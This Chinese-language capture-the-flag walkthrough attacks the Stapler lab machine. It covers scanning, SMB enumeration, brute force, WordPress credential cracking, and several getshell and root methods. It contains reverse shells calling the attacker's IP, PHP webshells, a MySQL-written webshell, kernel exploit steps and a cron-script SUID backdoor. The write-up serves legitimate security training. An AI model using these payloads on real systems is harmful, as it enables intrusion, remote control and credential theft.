微信公众号:泷羽Sec-临观
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
一、靶机环境配置(在VM上)
如果在vm导入ovf文件会提示报错信息
在记事本打开ovf文件,然后CTRL+H将文档中所有的Caption替换为ElementName
然后将Stapler.mf删除
再重新导入ovf文件
在选择新虚拟机的存储路径时,应选择一个新的空目录导入,否则大概率会提示失败
注意:新虚拟机的存储路径选一个新的空目录导入
如果有导入失败的提示,有重试就点击重试就ok了
然后不要忘了改为NAT模式
这样就ok了
二、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -p- -T5 192.168.253.128 -A
-sV-版本 -sS-详细描述信息 -A-版本号 -T5-最高速度模板(快但是会被发现) -p-全端口扫描
打靶机要养成习惯,-p-扫描全端口,如果没有-p-扫描全端口,就会将12380这个端口给遗漏
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later(Anonymous FTP login allowed)
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
80端口(目录枚举)
先去80端口网页看看
尝试目录枚举,并没有发现什么
尝试dirsearch去找有没有隐藏的文件
dirsearch -u http://192.168.253.128
dirsearch
是一款用 Python 编写的开源 Web 目录扫描工具,用于在目标网站上查找隐藏的目录和文件
-u
是 dirsearch
命令中的一个参数,用于指定要扫描的目标 URL
发现是三个文件,下载下来后,还是没有发现什么东西,再去看看其他端口
ftp匿名登录
21端口存在匿名登录
发现和Tr0ll靶机一样也有匿名登录,用户直接ftp或者FTP,没有密码,发现有一个note文件,下载下来看看
得到这个
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
艾丽,确保你更新有效载荷信息。约翰,你完成后把它留在你的 FTP 账户里。
三、139端口SAMBA服务
得到两个用户名,Elly和John,后面没发现什么东西,再去找找突破口,看看其他的端口,看到139有个samba
smbclient -L //192.168.253.128
-L
:指定列出目标主机的共享资源(List 功能)
尝试访问Samba服务器,查看Samba服务器的共享信息
print$
: 默认的打印机驱动共享,通常只有管理员有写入权限。
kathy
: 自定义共享,注释说Fred你在这干嘛,猜测可能会有一些信息
tmp
: 临时文件共享,注释提示说临时文件都存在这,可能开放写入权限。
IPC$
: 用于远程管理通信的共享,不可直接访问文件,但可用于枚举用户或服务信息。
并且在这里看到SMB1回退
SMB1 是过时且不安全的协议(易受永恒之蓝等漏洞攻击),目标服务器可能未禁用 SMB1
Reconnecting with SMB1 for workgroup listing.
匿名访问测试(访问共享资源 无需密码)
尝试访问共享资源(如 kathy
和 tmp
)无需密码:
smbclient //192.168.253.128/kathy -N # -N 表示无密码
发现有两个目录,kathy_stuff文件夹里面有一个文本文档发现写了这个
I’m making sure to backup anything important for Initech, Kathy
凯西,我正在确保为英泰克公司备份所有重要的东西。
而在backup目录下发现一个压缩文件,都没有什么信息
smbclient //192.168.253.128/tmp -N
发现一个ls,直接下载下来看看,get ls
也没有什么信息
使用 enum4linux
进一步获取用户、组和权限信息
enum4linux
是一款在 Linux 系统上用于枚举 Windows 和 Samba 系统信息的工具。它可以帮助渗透测试人员、系统管理员收集目标主机的重要信息
enum4linux -a 192.168.253.128
vim user.txt
cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt
尝试去爆破
hydra -L user.txt -P user.txt 192.168.253.128 ssh
爆破出一个用户SHayslett 密码SHayslett
得到这些文件夹都是用户名,知道密码尝试sudo su失败,在后面的提权中,用这个SHayslett用户是一样的
由于是SMB1,尝试一下看看能不能上传文件,如果可以就有很多思路去尝试
在SMB里尝试过的方法(均失败)
MS17-010
可以的话就通过**永恒之蓝SMBv1 漏洞(MS17-010)**去尝试提权
先尝试42315.py,这个用的版本多,但在oscp考试时msf只能用一回
searchsploit ms17-010
searchsploit -m 42315.py
msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.253.128 # 目标 IP
msf6 > set LHOST 192.168.253.129 # 你的监听 IP
msf6 > set LPORT 4444 # 监听端口
msf6 > run
利用失败
上传反弹 Shell 脚本
尝试上传脚本,进行反弹shell
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击者IP", 4444)) # 替换为你的监听IP和端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
上传成功,发现没有python,尝试通过通过 Web 服务触发
若 tmp
共享映射到 Web 目录(如 /var/www/html/tmp
),直接访问 URL
curl http://192.168.253.128/tmp/shell.py
失败,继续尝试
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.253.128 # 目标 IP
msf6 > set LHOST 192.168.253.129 # 你的监听 IP
msf6 > set LPORT 4444 # 监听端口
msf6 > run
利用失败
尝试上传LinPEAS:自动化提权信息收集脚本
smb: \> put linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
SMB 协议限制:SMB 本身不支持直接执行远程文件或修改 Unix 权限(chmod
命令无效)
执行权限缺失:上传的脚本默认没有可执行权限,需通过其他方式在目标服务器上运行
如果 tmp
共享目录映射到 Web 根目录(如 /var/www/html/tmp
),可通过 HTTP 请求执行脚本
curl http://192.168.253.128/tmp/linpeas.sh -o /dev/null
前提:Web 服务器配置允许执行 Shell 脚本(需 .sh
文件关联解释器)
四、12380端口
80端口和21端口已经没有什么信息了,因为12380端口也是http,进行访问
查看网页源代码
看到很多用户名,还有一个base64加密,但还是没有什么信息
进行目录扫描(这里不要加http://,加了扫不出来)
dirsearch扫描
dirsearch -u 192.168.253.128:12380
[17:23:13] 200 - 3KB - /phpmyadmin/doc/html/index.html
[17:23:13] 200 - 3KB - /phpmyadmin/index.php
[17:23:13] 200 - 3KB - /phpmyadmin/
[17:23:16] 200 - 59B - /robots.txt
在robots.txt发现
在/phpmyadmin/ 目录下,尝试了上面的,以为是密码
在/phpmyadmin/doc/html/index.html目录下
去访问robots.txt里面的两个目录
Disallow: /admin112233/
Disallow: /blogblog/
这里没什么可以利用的看另一个
WPScan扫描
发现是一个个人日记的博客,下面还有一个登录和注册,wordpress搭建的站
发现wordpress就想到在kali使用WPSscan
WPSscan:
-
定制性强:专为 WordPress 设计,了解其架构,能深入扫描核心、主题和插件。
-
功能全面:可识别组件版本、枚举用户、暴力破解登录。
wpscan --url https://192.168.253.128:12380/blogblog/ --disable-tls-checks
–disable-tls-checks : 正常情况下wpscan只能扫描http,加这个命令可以让它扫描https
TLS(传输层安全协议)用于在网络通信中提供加密和身份验证,确保数据传输的安全性。此参数的作用是禁用对目标网站 TLS 证书的检查。在某些情况下,目标网站的 TLS 证书可能存在问题(如过期、自签名等),使用该参数可以忽略这些证书问题,使扫描工具能够继续对网站进行扫描。
可以看到列出来了很多目录
Advanced video embed插件
去搜搜有没有漏洞,发现有一个
修改一下url,后面运行发现报错
如下修改一下配置,因为原本的poc是只能用于http,我们这里使用的https,所以需要对poc进行一下修改
# 添加以下代码,并且插入相关url
import ssl
ssl._create_default_https_context = ssl._create_unverified_context #取消全局证书验证
运行成功后发现多了一张图片
https://192.168.253.128:12380/blogblog/wp-content/uploads/
把图片下载下来
直接下载会报错,要加上–no-check-certificate
使用 --no-check-certificate
后,工具会忽略证书验证,即使证书无效或不受信任,也能继续下载或访问
wget https://192.168.253.128:12380/blogblog/wp-content/uploads/1242079520.jpeg --no-check-certificate
下载下来后直接cat,发现mysql用户名为root 密码为plbkac
phpadmin获得root账号
https://192.168.253.128:12380/phpmyadmin/
去前面的phpadmin尝试登录,登录成功
看到wordpress的用户密码
或者直接在kali登录
直接登录发现报错,表示客户端请求 SSL 加密连接,但目标 MySQL 服务器未启用 SSL 支持,导致连接失败
mysql -u root -pplbkac -h 192.168.253.128
尝试直接禁用客户端 SSL 要求(临时连接),还是报错
mysql -u root -p plbkac -h 192.168.253.128 --ssl-mode=DISABLED
MySQL 客户端版本过低:旧版本的 MySQL 客户端(如 5.x)不支持 --ssl-mode
参数
尝试使用旧版本兼容参数
mysql -u root -pplbkac -h 192.168.253.128 --ssl=0
show databases;
use wordpress;
show tables;
desc wp_users;
select user_login,user_pass from wp_users;
$P$B7889EMq/erHIuZapMB8GEizebcIy9.
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
检查加密方式
hash-identifier
为MD5加密
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
#密码
cookie
monkey
football
coolgirl
washere
incorrect
thumb
0520
passphrase
damachine
ylle
partyqueen
#用户名
John
Elly
Peter
barry
heather
garry
harry
scott
kathy
tim
ZOE
Dave
Simon
Abby
Vicki
Pam
现在wordpress用户名和密码都知道,在前面个人博客那有个登录
尝试hydra爆破,但是失败了,或者使用burp的一些插件进行爆破,有插件可以进行爆破,哪怕有验证码都可以
hydra -Lusername.txt -P pass.txt 192.168.253.128 -s 12380 -S -vV -t 2 -w 5 http-post-form \
"/blogblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=/blogblog/wp-admin/:F=Invalid username"
这里失败了,后面测试知道密码只有一个
用户名:John
密码:incorrect
发现文件上传漏洞
登录后进行信息搜集
发现文件上传漏洞
五、getshell
有文件上传就好办了,还以为有文件上传的绕过,这里直接上传就行了,直接写一个1.php,改成主机ip和要监听的端口,当然也可以上传前面那个反弹shell的脚本
方法一
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/8888 0>&1'");?>
上传成功后,直接去访问这个网址,不要忘了监听端口
https://192.168.253.128:12380/blogblog/wp-content/uploads/
反弹shell成功
方法二(一句话木马)
写入一句话木马上传
<?php system($_GET['cmd']); ?>
因为是get传参直接在url后面添加脚本
https://192.168.253.128:12380/blogblog/wp-content/uploads/cmd.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
方法三(mysql)
mysql将一句话木马写入数据库
mysql -u root -pplbkac -h 192.168.253.128 --ssl=0
select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/cmd1.php";
与上面的方法一致,因为有mysql的账号,可以通过mysql将一句话木马写入数据库
https://192.168.253.128:12380/blogblog/wp-content/uploads/cmd1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后反弹shell成功
方法四(php-reverse-shell.php)
通过Kali Linux 系统自带的 php-reverse-shell.php
脚本
locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php . #将指定路径下的反向 shell 脚本复制到当前目录(后面的点不要忘了)
vi php-reverse-shell.php
修改为主机ip和要连接的端口
上传上去
反弹成功
方法五(weevely)
看到别的佬用了weevely这个工具
Weevely 是一款用于生成和管理 Webshell 的工具,是kali自带的
要生成一个 PHP 类型的 Webshell,可以使用如下命令:
weevely generate [密码] [输出文件名.php]
weevely generate 123 shell.php
上传成功后,使用以下命令连接到目标服务器上的 Webshell
weevely [目标URL] [密码]
weevely https://192.168.253.128:12380/blogblog/wp-content/uploads/shell.php 123
反弹shell成功
方法六(webacoo)
webacoo
是 Kali Linux 系统中一款用于生成 Web 反向 Shell 的工具
webacoo
能够生成特定格式的 PHP 代码,该代码在目标 Web 服务器上运行后,可与攻击者控制的主机建立反向连接,进而让攻击者获取一个 Shell 会话,实现对目标服务器的远程控制。
webacoo -g -o getshell.php
-
-g
:它是webacoo
工具的一个参数,一般代表 “generate”,也就是生成的意思。当使用-g
参数时,webacoo
工具会根据其内置的规则和模板,生成用于建立反向 Shell 的代码。 -
-o getshell.php
:-o
是 “output” 的缩写,用于指定输出文件的名称。getshell.php
就是指定的输出文件名,意味着webacoo
工具生成的反向 Shell 代码将被保存到getshell.php
这个文件中。
生成好getshell.php,通过文件上传,将文件再上传上去
webacoo -t -u https://192.168.253.128:12380/blogblog/wp-content/uploads/getshell.php
-
-t
:启动终端模式,与后门交互。 -
-u
:指定目标后门的URL路径。
这条命令的作用是使用 webacoo
工具对 https://192.168.253.128:12380/blogblog/wp-content/uploads/getshell.php
这个 URL 对应的文件进行测试,判断该文件是否能够正常工作,例如是否可以成功建立反向 Shell 连接
反弹失败
六、提权
msf提权
真的逆天,直接root,牛逼
如果运用失败尝试重启虚拟机
msfconsole
search Samba
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.253.128
set rport 139
run
sudo提权(peter用户)
cat */.bash_history
发现两个账户和密码
sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost
JKanode thisimypassword
peter JZQuyIN5
先切换为JKanode用户
表明当前操作环境并非标准终端,有python,建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
尝试JKanode用户sudo提权,失败
切换成Peter用户去尝试
提权成功
当然也可以将linpeas.sh(一个自动化扫描工具,很好用)传上去,后面内核提权二还用到了,看到peter用户有sudo提权
注意:别忘了开启一个http服务
python -m http.server(在kali上 默认8000端口)
cd /tmp
wget http://192.168.253.129:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
内核提权
临时目录有权限,可以尝试内核提权
查看版本信息
uname -a
lsb_release -a
ubuntu为16.04版本,i686 代表 32 位的 x86 架构
searchsploit Ubuntu 16. privilege
这里可以将x64的都排除掉
searchsploit Ubuntu 16. privilege | grep -v 'x86-64'
尝试了第一个40085.c编译失败,第二个41923.txt是利用 LightDM 漏洞,但是这个靶机并没有安装LightDM,利用失败,第三个42276.c不兼容,目标环境与工具预期不匹配,第四个40759.rb,靶机上没有ruby环境,
第五个成功
先下到kali上面
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
利用方法
wget http://192.168.253.129:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
./compile.sh
./doubleput
tar
-
-x
:表示 解包(extract),即从归档文件中提取内容。 -
-v
:表示 verbose(详细模式),执行时会显示处理的文件名,便于用户观察解包过程。 -
-f exploit.tar
:-f
用于指定操作的归档文件,这里明确操作对象是exploit.tar
。
然后等一段时间就ok了
在这里插入图片描述
提权成功
内核提权二([CVE-2021-4034]pwnkit)
les.sh(我改了名字linux-exploit-suggester),也是一个自动化扫描工具,上传到靶机,也非常好用
别忘了开启http服务
python -m http.server(默认8000端口)
cd /tmp
wget http://192.168.253.129:8000/les.sh
chmod +x les.sh
./les.sh
就是这个[CVE-2021-4034],可以直接去github上下载好,这个也可以提取
定时任务提权(Cron Jobs)
这个方法是看别的师傅的wp学来的,
ls -alh /etc/*cron*
-
ls -alh
:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h
让文件大小以人类可读的格式(如 KB、MB)展示。 -
/etc/
cron
:匹配/etc/
目录下所有包含cron
关键字的文件和目录(通配符*
表示任意字符)
logrotate软件是一个日志管理工具,用于 切割日志,删除旧的日志文件,并创建新的日志文件,起到“转储作用”,可以为系统节省磁盘空间。
find / -name logrotate* 2>/dev/null
查找logrotate,并且隐藏报错信息,
cat /etc/cron.d/logrotate
/etc/cron.d/logrotate
文件定义了 logrotate
工具的执行时间和方式。它借助 cron
服务(Linux 系统中用于定时执行任务的服务)来定期触发 logrotate
工具,让其按照预设的规则处理系统日志文件。
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
让系统每 5 分钟以 root
用户的身份执行一次 /usr/local/sbin/cron-logrotate.sh
脚本
ls -la /usr/local/sbin/cron-logrotate.sh
有权限,尝试写入恶意代码
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh
cp /bin/bash /tmp/getroot
- 命令功能:
cp
是 Linux 系统中用于复制文件或目录的命令。此命令将系统自带的bash
解释器(通常位于/bin/bash
)复制到/tmp
目录下,并将副本命名为getroot
。/tmp
是系统临时目录,通常所有用户都有读写权限。
通过复制 bash
解释器,创建一个可以后续进行权限修改和使用的独立文件,避免直接修改原始的 bash
解释器带来的风险。
chown root:root /tmp/getroot
- 命令功能:
chown
是用于更改文件或目录的所有者和所属组的命令。在 Linux 系统中,每个文件都有一个所有者和一个所属组,权限的设置和操作与它们密切相关。root:root
表示将文件的所有者设置为root
用户,所属组设置为root
组。
将 /tmp/getroot
文件的控制权交给 root
用户,因为后续要设置特殊权限,通常只有 root
用户才有足够的权限进行操作。
chmod u+s /tmp/getroot
- 命令功能:
chmod
是用于修改文件或目录权限的命令。u
代表文件的所有者(user),+
表示添加权限,s
是特殊权限位,这里指的是 SUID(Set User ID)权限。设置 SUID 权限后,当普通用户执行这个文件时,该文件会以其所有者(即root
用户)的权限来运行。
让普通用户在执行 /tmp/getroot
时,能够以 root
用户的身份运行 bash
解释器,从而获得 root
权限。
等待5min后计划任务执行,执行/tmp/getroot -p命令,以root用户权限启动bash,获取root用户权限
/tmp/getroot -p
提权成功